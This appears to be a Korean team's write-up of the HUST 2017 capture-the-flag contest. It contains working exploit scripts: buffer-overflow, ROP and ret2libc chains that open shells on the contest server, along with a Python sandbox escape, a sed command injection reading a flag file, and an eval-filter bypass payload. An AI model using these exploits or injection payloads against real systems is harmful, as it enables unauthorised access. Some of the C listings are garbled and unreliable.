Team *Hacktagon* HUST 2017 Write-up
0x00 대회 최종 결과
no | 분야 | 제목 | 배점 | Solve |
---|---|---|---|---|
No.1 | Event | MIC1 | 1 | O |
No.2 | Crypto | Maware Maware Maware | 50 | X |
No.3 | Mobile | Trouble Maker | 100 | X |
No.4 | Pwnable | RR2L | 50 | O |
No.5 | Pwnable | wind | 100 | O |
No.6 | prog | Catch JACK If you can | 50 | O |
No.7 | MISC | Treasurehunt | 50 | X |
No.8 | Mobile | STAGE-UP | 100 | O |
No.9 | Pwnable | OH MY BOF | 100 | O |
No.10 | Crypto | Hill | 100 | O |
No.11 | Web | The Wandering Man | 100 | X |
No.12 | Web | Can You find It? | 50 | O |
No.13 | Reversing | shambles | 300 | O |
No.14 | Pwnable | Do It Your Heap Ex | 100 | O |
No.15 | Web | Fireworks | 200 | X |
No.16 | Prog | ML_Quiz | 0-130 | O |
No.17 | Prog | iamrandom | 50 | O |
No.18 | Reversing | Mystic_Crypt_9903 | 150 | X |
No.19 | Pwnable | earth | 100 | O |
No.20 | Web | The Resurrection | 300 | X |
No.21 | MISC | Python Playground | 50 | O |
No.22 | Reversing | Mind Control | 200 | X |
No.23 | Pwnable | Withdraw | 200 | O |
No.24 | Prog | Follow the trend | 200 | X |
No.25 | Event | MIC2 | 1 | O |
No.26 | Pwnable | shellwedance? | 300 | O |
No.27 | Web | bypass_filter | 200 | O |
0x01 Event MIC1 [1]
- 생존확인. 췍췍
0x04 Pwnable RR2L [50]
- 문제 제공 파일로 바이너리랑 libc를 제공해준다.
- 취약점은 딱 봐도 bof취약점이 보인다.
- write_plt + write_got를 이용하여 write libc 주소구하고 제공해주는 libc에서 system libc와 “/bin/sh\x00” 찾아서 슥삭하면 됩니다.
1
2
3
4
5
6
7
8
9
10
# libc offset
from pwn import *
libc = ELF("libc-2.23.so")
offset = libc.symbols['write'] - libc.symbols['system']
print hex(libc.symbols['write'])
print hex(libc.symbols['system'])
print hex(offset)
print libc.symbols['write'] - next(libc.search("/bin/sh\x00"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Exploit
from pwn import *
s = remote('223.194.105.182', 37100)
print s.recvuntil('Press any thing\n')
main = 0x0804852B
write_plt = 0x08048410
write_got = 0x0804A024
system_offset = 0x9AC50
binsh_offset = 548411
payload = "a"*104 # stack dummy
payload += p32(write_plt)
payload += p32(main)
payload += p32(1) # fd
payload += p32(write_got) # buf
payload += p32(4) # len
s.sendline(payload)
s.recv(1024)
leak_addr = u32(s.recv(4))
system_addr = leak_addr - system_offset
binsh = leak_addr + binsh_offset
print s.recvuntil('Press any thing\n')
payload2 = "a"*104 # stack dummy
payload2 += p32(system_addr)
payload2 += p32(0x61616161)
payload2 += p32(binsh)
s.sendline(payload2)
s.recv(1024)
s.interactive()
0x05 Pwnable wind [100]
- 문제의 컨셉을 파악하기도 전에 취약점이 보여서 그냥 해봤는데… 됐어요.
- 쉘을 제공해주는 코드가 있었기 때문에 eip를 컨트롤할 수 있는 상황에서 해당 코드로 eip를 변조하였음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import socket
from struct import *
p32 = lambda x:pack("<L",x)
host = "223.194.105.182"
port = 22901
def until(msg):
data = ''
while True:
data += s.recv(1)
if msg in data:
return data
s = socket.socket()
s.connect((host, port))
print until("It's for my baby!")
shell_addr = 0x080483DB
payload = "a" * 32
payload += p32(shell_addr)
until("[+] TYPING THIS: ")
r_str = s.recv(1)
until("[+] INPUT: ")
s.send(payload + "\n")
r_msg = s.recv(1024)
while True:
cmd = raw_input("> ")
s.send(cmd + "\n")
print s.recv(1024)
0x06 prog Catch JACK If you can [50]
- 딜러가 항상 올바른 선택을 하지 않음.
- 내 카드 총합이 15가 넘지 않을때 카드를 받는게 승률이 높다는것을 테스트로 확인함.
- 코드를 돌려놓으니 키를 획득.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
while True :
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('223.194.105.182', 28345)
sock.connect(server_address)
recvdata = sock.recv(10000)
recvdata = sock.recv(10000)
print recvdata
while True:
money = recvdata.split('~')
money = mony[1].split(')')
if int(money[0]) < 30000:
break;
senddata = str(money[0])+'\n'
sock.send(senddata)
recvdata = sock.recv(10000)
print recvdata
recvdata = sock.recv(10000)
print recvdata
while True:
a = recvdata.split('core : ')
b = a[1].split('\r\n');
if int(b[0]) > 15:
data = 2
else :
data = 1
senddata = str(data)+'\n'
sock.send(senddata)
recvdata = sock.recv(10000)
print recvdata
recvdata = sock.recv(10000)
print recvdata
if data == 2:
break;
sock.close()
0x08 Mobile STAGE-UP [100]
Stage1 key 값은 APK 해제 후 생기는 class 파일을 분석하면 알 수 있다.
stage1.class
1
2
3
4
5
6
7
8
9
10
11
package com.cinnamon.moon.hackingproblem.util;
public class Stage1
{
private String key1 = "SFUzN19IRjIwMT";
public String getKey1()
{
return this.key1;
}
}
Stage2 key 값은 lib 디렉토리에 존재하는 stage2.so 파일 내 존재한다.
libStage2.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:00000470 public Java_com_cinnamon_moon_hackingproblem_util_Stage2_getKey2
.text:00000470 Java_com_cinnamon_moon_hackingproblem_util_Stage2_getKey2 proc near
.text:00000470
.text:00000470 arg_0 = dword ptr 8
.text:00000470
.text:00000470 push ebp
.text:00000471 mov ebp, esp
.text:00000473 push ebx
.text:00000474 push edi
.text:00000475 push esi
.text:00000476 and esp, 0FFFFFFF0h
.text:00000479 sub esp, 410h
.text:0000047F call $+5
.text:00000484 pop ebx
.text:00000485 add ebx, 1B60h
.text:0000048B mov esi, [ebp+arg_0]
.text:0000048E mov eax, large gs:14h
.text:00000494 mov [esp+408h], eax
.text:0000049B sub esp, 4
.text:0000049E lea eax, (aD7d2xybmf1zmfr - 1FE4h)[ebx] ; "d7d2xybmF1ZmFrZ"
.text:000004A4 lea edi, [esp+0Ch]
.text:000004A8 push 400h ; n
.text:000004AD push eax ; src
.text:000004AE push edi ; dest
.text:000004AF call _memcpy
stage3 key 값은 stage3 activity에서 아래와 같이 동작한다.
1
2
3
4
5
6
7
8
9
10
11
12
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968604);
paramBundle = getIntent();
this.textView = ((TextView)findViewById(2131427415));
this.key = ((TextView)findViewById(2131427416));
this.key.setText(paramBundle.getStringExtra("key"));
this.pgmt = new PGMT();
this.pgmt.start();
}
}
PGMT 라이브러리에는 특정 IP에 접근하여, key 값을 받아오게 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
.text:00000550 public Java_com_cinnamon_moon_hackingproblem_util_PleaseGiveMe_PGM
.text:00000550 Java_com_cinnamon_moon_hackingproblem_util_PleaseGiveMe_PGM proc near
.text:00000550
.text:00000550 arg_0 = dword ptr 8
.text:00000550
.text:00000550 push ebp
.text:00000551 mov ebp, esp
.text:00000553 push ebx
.text:00000554 push esi
.text:00000555 and esp, 0FFFFFFF0h
.text:00000558 sub esp, 420h
.text:0000055E call $+5
.text:00000563 pop ebx
.text:00000564 add ebx, 1A71h
.text:0000056A mov eax, large gs:14h
.text:00000570 mov [esp+41Ch], eax
.text:00000577 sub esp, 4
.text:0000057A push 0 ; protocol
.text:0000057C push 1 ; type
.text:0000057E push 2 ; domain
.text:00000580 call _socket
.text:00000585 add esp, 10h
.text:00000588 mov esi, eax
.text:0000058A sub esp, 0Ch
.text:0000058D lea eax, (a223_194_105_18 - 1FD4h)[ebx] ; "223.194.105.182"
.text:00000593 push eax ; cp
.text:00000594 call _inet_addr
.text:00000599 add esp, 10h
.text:0000059C mov [esp+40Ch], eax
.text:000005A3 mov dword ptr [esp+408h], 147A0002h
.text:000005AE sub esp, 4
.text:000005B1 lea eax, [esp+40Ch]
.text:000005B8 push 10h ; len
.text:000005BA push eax ; addr
.text:000005BB push esi ; fd
이후 각 stage에서 얻어온 key값을 합친 이후 base64 디코딩을 하게 되면 flag값을 확인 할 수 있다.
0x09 Pwnable OH MY BOF [100]
- 이번에도 bof 네요.
- bof는 쉽게 터지는데 쓸만한 곳이 없네요.
- got 에서 libc_start_main 라이브러리 주소 릭을 할수 있음
- Strings 해보면 컴파일 정보에서 Ubuntu 16.04.4 정보 나와있음.
- Ubuntu 16.04.4 에서 라이브러리 가지고 오프셋 구해서 슥삭하면되네요.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
from struct import *
p32 = lambda x:pack("<L",x)
up32 = lambda x:unpack("<L",x)[0]
host = "223.194.105.182"
port = 41001
def until(msg):
data = ''
while True:
data += s.recv(1)
if msg in data:
return data
s = socket.socket()
s.connect((host, port))
print until("attack:")
write = 0x080483E3
ppppr = 0x8048488
pr = 0x080482ad
add_ret = 0x080483a8
syscall = 0x080483FB
payload = "a" * 24
payload += p32(write)
payload += p32(0x0804a000)
s.send(payload)
print repr(s.recv(1024))
leak = s.recv(1024)
print repr(leak)
libc_start_main = up32(leak[12:16])
print hex(libc_start_main)
libc_base = libc_start_main - 0x18540 # It's Okay !
binsh = libc_start_main + 0x1432eb
system = libc_start_main + 0x22860
payload2 = "a" * 24
payload2 += p32(system)
payload2 += p32(0)
payload2 += p32(binsh)
s.send(payload2)
while True:
cmd = raw_input(">")
s.send(cmd + "\n")
print s.recv(1024)
0x0A Crypto Hill [100]
- 16글자를 입력받아 4X4 matrix 에 저장하고 count 번 만큼 \(\left(\begin{array}{cc} 2 & 5 & 18 & 5\\ 16 & 7 & 8 & 9\\ 10 & 11 & 14 & 4\\ 2 & 15 & 11 & 17 \end{array}\right)\) 을 곱한다음 결과 값을 출력하는데 15개를 출력한 뒤 4번째 값 + count를 출력하고 16번째 값을 출력하고 0을 출력한다
즉 문제에서 나온 암호 파일에서 4번째 값과 16번째 값을 비교하면 count가 4임을 알 수있다. 원문 matrix * (암호화 matrix^4) = (암호문 matrix)의 수식을 풀면 원문을 얻을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include<stdio.h>
long long AM[4][4] = { { 164845022, 194846903, 258237904, 166782954 }, { 210425942, 249349389, 330056130, 213716910 }, { 196223440, 232924323, 307918857, 199897032 }, { 173490804, 205813716, 272275442, 176726624 } };
long long D[4][4] = { {-459, 1761, 258, -858}, {-2546, -2118, 3698, 1000}, {2050, -84, -172, -518}, {974, 1716, -3182, 1208} };
long long C[4][4];
int main(void)
{
int i, j, k, l;
for (l = 0; l < 4; l++)
{
for (i = 0; i < 4; i++)
{
for (j = 0; j < 4; j++)
{
for (k = 0; k < 4; k++)
C[i][j] += AM[i][k] * D[k][j];
}
}
for (i = 0; i < 4; i++)
{
for (j = 0; j < 4; j++)
C[i][j] /= 28122LL;
}
for (i = 0; i < 4; i++)
{
for (j = 0; j < 4; j++)
{
AM[i][j] = C[i][j];
C[i][j] = 0;
printf("%llx ", AM[i][j]);
}
printf("\n");
}
}
for (i = 0; i < 4; i++)
{
for (j = 0; j < 4; j++)
printf("%c",(char)AM[i][j]);
}
}
flag : @hy@usolveMypr0b
0x0C Web Can You find It? [50]
- robots.txt 규정을 준수합시다.
0x0D Reversing shambles [300]
- argv로 16진수 두자리 숫자를 입력받아서 각각 어떤 함수를 통과시킨 다음 결과 값이 맞아야 다음으로 진행이 되는 구문이 있어 그 답을 알아내도록 프로그램을 작성해서 cipher key를 알아냈다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include <stdio.h>
int sub_401260(int a1)
{
int v2;
v2 = 5*(((a1<<15)+~a1)^(((a1<<15)+~a1)>>12));
return (2057*(v2^(v2>>4))^(2057*(v2^(v2>>4))>>16))%1024;
}
int sub_401160(int a1)
{
int v1;
int v3;
int v4;
v3 = (a1+~(a1<<31))^((a1+~(a1<<31))>>22);
v4 = 9*((v3+~(v3<<13))^((v3+~(v3<<13))>>8));
v1 = (v4^(v4>>15))+~((v4^(v4>>15))<<27);
return (v1^(v1>>31))%1024;
}
unsigned int sub_401100(int a1)
{
unsigned int v2;//[esp+8h][ebp+8h]@1
unsigned int v3;//[esp+8h][ebp+8h]@1
v2 = 9*((a1+~(a1<<15))^((unsignedint )(a1+~(a1<<15))>>10));
v3 = (v2^(v2>>6))+~((v2^(v2>>6))<<11);
return (v3^(v3>>16))%0x400;
}
unsigned int sub_4011E0(int a1)
{
unsignedint v2;//[esp+8h][ebp+8h]@1
unsignedint v3;//[esp+8h][ebp+8h]@1
v2 = 17*(4097*a1^((unsignedint )(4097*a1)>>22));
v3 = 129*(1025*(v2^(v2>>9))^(1025*(v2^(v2>>9))>>2));
return (v3^(v3>>12))%0x400;
}
int sub_4012C0(int a1)
{
int v1;//edx@1
v1 = 9*((a1>>16)^a1^0x3D)^(9*((a1>>16)^a1^0x3D)>>4);
return (668265261*v1^(668265261*v1>>15))%1024;
}
int main(void)
{
int i;
for(i = 0;i<256;i++)
{
if(sub_401260(i) = = 988)
print f("1%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_401160(i) = = 637)
print f("2%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_401100(i) = = 646)
print f("3%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_4011E0(i) = = 828)
print f("4%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_4012C0(i) = = 240)
print f("5%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_4011E0(i) = = 23)
print f("6%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_4012C0(i) = = 771)
print f("7%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_401260(i) = = 658)
print f("8%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_401100(i) = = 1012)
print f("9%02x\n",i);
}
for(i = 0;i<256;i++)
{
if(sub_401160(i) = = 38)
print f("10%02x\n",i);
}
}
이 프로그램을 실행 시킨 결과를 shambles 파일에 넣었더니 다음과 같은 결과를 얻을 수 있었다.
1
2
3
shambles.exe 68 40 70 70 31 6e 33 73 73 21
valid!!
cipher key is : h@pp1n3ss!
하지만 얻을 수 있는게 없었고 이 루틴에서 파일의 경로를 얻어와서 파일을 하나 출력해주는 것을 알 수 있었고 Ollydbg를 이용해 동적 디버깅해보니 C:\Users\XX\AppData\Local\Temp 폴더에 FLAGKEY.decrypted.png 라는 이름으로 플래그를 출력해주었다.
FLAG : HU37_HF2017{Do_U_1ike_p0nce_p1ugin_of_ida}
0x0E Pwnable Do It Your Heap Ex [100]
- Stack Bof 아닌 문제가 나와서 기뻣는데 그 기쁨도 잠시….
- malloc 이후 해당 힙 영역에 함수 포인터를 지정한 후 사용하는데, 해당 범위까지 접근이 가능하여 함수 포인터를 덮을 수 있음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket
from struct import *
p32 = lambda x:pack("<L",x)
host = "223.194.105.182"
port = 29001
def until(msg):
data = ''
while True:
data += s.recv(1)
if msg in data:
return data
s = socket.socket()
s.connect((host, port))
print until("First, Input anythings :")
shell_addr = 0x08048980
payload = "a" * 400
payload += p32(shell_addr)
s.send(payload + "\n")
r_msg = s.recv(1024)
print r_msg
while True:
cmd = raw_input("> ")
s.send(cmd + "\n")
print s.recv(1024)
0x10 Prog ML_Quiz [0-130]
Google search를 통해 각 문제를 풀 수 있었음. 해당 문제에서 100점을 획득하였음
0x11 Prog iamrandom [50]
- 수식이 ((((숫자 연산 숫자) 연산 숫자) 연산 숫자) 연산 숫자) [연산 숫자] 형태로 구성되어있음을 이용해서 간단히 해결
- C에서 32비트 숫자를 유지하고 MSB가 부호 비트인것을 유지해줌
- / 연산이 강제로 int로 형변환되고 음수 / 양수를 따로 처리
- 쉬프트 연산의 Operand2가 32보다 클 경우 32로 나눈 나머지만큼만 연산
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
MOD = 1<<32
SIG = 1<<31
def getint(express):
cnt = 0
while True:
if cnt == len(express):
return int(express), ""
if ord('0') <= ord(express[cnt]) <= ord('9'):
cnt = cnt+1
else:
break
return int(express[:cnt]), express[cnt:]
def getOP(express):
if express[0] == '+':
return '+', express[1:]
elif express[0] == '-':
return '-', express[1:]
elif express[0] == '/':
return '/', express[1:]
elif express[0] == '*':
return '*', express[1:]
elif express[0] == '>':
return '>', express[2:]
elif express[0] == '<':
return '<', express[2:]
def calc(express):
express = express.replace('(', '')
A, express = getint(express)
while True:
op, express = getOP(express)
B, express = getint(express)
print A, op, B, "->",
if op == '+':
A = A + B
elif op == '-':
A = A - B
elif op == '/':
if A>=0:
A = A // B
else:
A = -((-A) // B)
elif op == '*':
A *= B
elif op == '>':
B %= 32
A >>= B
elif op == '<':
B %= 32
A <<= B
A %= MOD
if A>=SIG:
A-=MOD
print A
express = express[1:]
if express == "":
break
return A
import socket
from struct import *
p32 = lambda x:pack("<L",x)
up32 = lambda x:unpack("<L",x)[0]
host = "223.194.105.182"
port = 22902
def until(msg):
data = ''
while True:
data += s.recv(1)
if msg in data and '.' in data:
return data
s = socket.socket()
s.connect((host, port))
for i in range(30):
msg = until("0000")
print msg
for i in msg.split('\n'):
if "Problem:" in i:
problem = i.split()[2]
print "\nProblem is : " + problem + "!!"
ans = str(calc(problem)) + '\n'
print "ANS : " + ans
s.send(ans)
for i in range(10):
print s.recv(1024)
s.close()
0x13 Pwnable earth [100]
- got 영역 릭을 통해 라이브러리 주소를 구해왔는데…네. 주소가 고정이였어요.
- system 함수와 /bin/sh를 통해 쉘을 실행시켰는데…연결은 유지되어있는거 같은데 명령어 결과가 출력이 안되길래..시스템 함수의 eip를 aaaa 로 덮고 에러메시지가 출력되는 것을 확인하기 위해 exit시키니 이후에 정상적으로 쉘을 획득할 수 있엇습니다.
- 쉘 획득 후 서버 내에 server.py 를 확인해보니… 뒷 부분에서 디버거가 붙어서 주소가 고정되어 있었던 것을 확인할 수 있었습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import socket
from struct import *
p32 = lambda x:pack("<L",x)
up32 = lambda x:unpack("<L",x)[0]
host = "223.194.105.182"
port = 22900
def until(msg):
data = ''
while True:
data += s.recv(1)
if msg in data:
return data
s = socket.socket()
s.connect((host, port))
print until("]")
system_libc = 0xB7E54310
binsh_libc = 0xb7f76bac
stack = 0xbffff46c
print_addr = 0x080484D8
print_got = 0x0804A00C
payload = "a" * (112)
#payload += p32(print_addr)
payload += p32(system_libc)
payload += p32(0x61616161)
payload += p32(binsh_libc)
s.send(payload + "\n")
r_msg = s.recv(1024)
#print repr(r_msg)
#print repr(s.recv(4096))
#until("Usage: ")
#print "[Leak]---"
#leak = s.recv(4096)
#print repr(leak)
#printf_libc = up32(leak[0:4])
#strcpy_libc = up32(leak[4:8])
#print "[*] printf Libc : " + hex(printf_libc)
#print "[*] strcpy Libc : " + hex(strcpy_libc)
while True:
cmd = raw_input("> ")
s.send(cmd + "\n")
print s.recv(4096)
0x15 MISC Python Playground [50]
- 파이썬 이스케이프 같은 문제였는데.. 특별한 필터링이 없어서 os 모듈을 가져와서 시스템 명령어를 실행하였습니다.
1
__builtins__.__import__("os").system("ls -al;cat flag")
0x17 Pwnable Withdraw [200]
- 스트립…스태틱 컴파일…네… ㅠㅠ
- 스택 까나리가 걸려 있어서 그냥 공격은 할 수 없지만 릭이 되는 곳이 있어서 릭으로 까나리를 구할 수 있었음다.
- 쓸만한 가젯이 많아서 쉽게 ROP 할수 있었슴니다!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import socket
from struct import *
p32 = lambda x:pack("<L",x)
up32 = lambda x:unpack("<L",x)[0]
host = "223.194.105.182"
port = 35159
def until(msg):
data = ''
while True:
data += s.recv(1)
if msg in data:
return data
def menu():
until("Input number : ")
def canary_leak():
menu()
s.send("2\n")
until("Do you have id code?(y/n)")
s.send("y\n")
until("Register your id code.\n")
leak_i = "a" * 65
s.send(leak_i)
leak = s.recv(100)
print repr(leak)
canary = up32("\x00" + leak[69:72])
return canary
def r_exit():
menu()
s.send("2\n")
until("Do you have id code?(y/n)")
s.send("a\n")
s = socket.socket()
s.connect((host, port))
'''
sys_read
eax = 0x3
ebx = fd
ecx = buf
edx = size
sys_write
eax = 0x4
ebx = fd
ecx = buf
edx = size
sys_execve
eax = 0xb
ebx = /bin/sh\x00
ecx = 0x0
edx = 0x0
esi = 0x0
'''
syscall = 0x0806F870
pop_eax_ret = 0x08048882
pppppr = 0x08098904
pppr = 0x0806f280
bss = 0x080ECD84
'''
0x0806f870 : int 0x80 ; ret
0x0806ce55 : int 0x80
0x08098904 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0806f280 : pop edx ; pop ecx ; pop ebx ; ret
'''
canary = canary_leak()
print "[*] Canary : " + hex(canary)
menu()
s.send("2\n")
until("Do you have id code?(y/n)")
s.send("y\n")
until("Register your id code.\n")
payload = "\x00" * 64
payload += p32(canary) * 1
payload += p32(0x08048A45) # ebp
payload += p32(pppr) # edx, ecx, ebx
payload += p32(0x10) # edx == size
payload += p32(bss) # ecx == buf
payload += p32(0x0) # ebx == stdin
payload += p32(pop_eax_ret)
payload += p32(0x3) # eax = 0x3
payload += p32(syscall)
payload += p32(pppr) # edx, ecx, ebx
payload += p32(0x0) # edx
payload += p32(0x0) # ecx
payload += p32(bss) # ebx
payload += p32(pop_eax_ret)
payload += p32(0xb) # eax = 0xb
payload += p32(syscall)
#payload += p32(pop_eax_ret)
#payload += p32(0x4)
#payload += p32(syscall)
print "[*] len(Payload) : " + str(len(payload))
s.send(payload)
r_exit()
print repr(s.recv(1024))
s.send("/bin/sh\x00")
while True:
cmd = raw_input(">")
s.send(cmd + "\n")
print s.recv(1024)
0x19 Event MIC2 [1]
- 중간 생존 확인. 췍췍
0x1A Pwnable shellwedance? [300]
- 플래그 파일과 sed, awd 등을 이용하여 플래그 파일과 비교하는 그런거 문제인거 같은데..
- 2번 메뉴에 필터링이 안걸려 있네요…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@ubuntu:/home/hust# ./shellwedance
Hello :D - Learning Data Parser
--------------------------
shellwedance
--------------------------
select option
1. original data
2. sed(include)
3. sed(exclude)
4. sed&awk(conditional)
5. sed&awk(average)
6. awk(pattern&action)
7. exit
2
sed - Include Keyword:
'| id ; cat flag #'
sed -n '/'| id ; cat flag #'/p' ./yeast.data
uid=0(root) gid=0(root) groups=0(root)
sed: -e expression #1, char 1: unterminated address regex
cat: flag: No such file or directory
select option
1. original data
2. sed(include)
3. sed(exclude)
0x1B Web bypass_filter [200]
- eval 함수 취약점
- 필터링이 이상하네요. 슥삭~
1
content=files_imgfiles1{function i(){return `ls -al`;}}/*